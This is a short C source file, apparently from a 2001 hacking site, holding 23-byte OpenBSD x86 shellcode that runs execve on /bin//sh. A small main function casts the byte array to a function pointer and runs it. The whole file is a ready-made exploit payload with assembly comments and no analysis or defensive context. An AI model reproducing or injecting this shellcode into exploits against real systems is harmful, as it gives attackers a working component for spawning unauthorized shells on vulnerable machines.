/************************************************************
* OpenBSD 23 byte execve code. Greetz to preedator          *
*                                          marcetam         *
*                                      admin@marcetam.net   *
*************************************************************/
char open_bsd[]=
  "\x99"			/* cdq              */
  "\x52"			/* push %edx        */
  "\x68\x6e\x2f\x73\x68"	/* push $0x68732f6e */
  "\x68\x2f\x2f\x62\x69"	/* push $0x69622f2f */
  "\x89\xe3"			/* mov %esp,%ebx    */
  "\x52"			/* push %edx        */
  "\x54"			/* push %esp        */
  "\x53"			/* push %ebx        */
  "\x53"			/* push %ebx        */
  "\x6a\x3b"			/* push $0x3b       */
  "\x58"			/* pop %eax         */
  "\xcd\x80";			/* int $0x80        */

int main(){
  void (*run)()=(void *)open_bsd;
  printf("%d bytes\n",strlen(open_bsd));
  run();
}
/*                www.hack.co.za           [29 April 2001]*/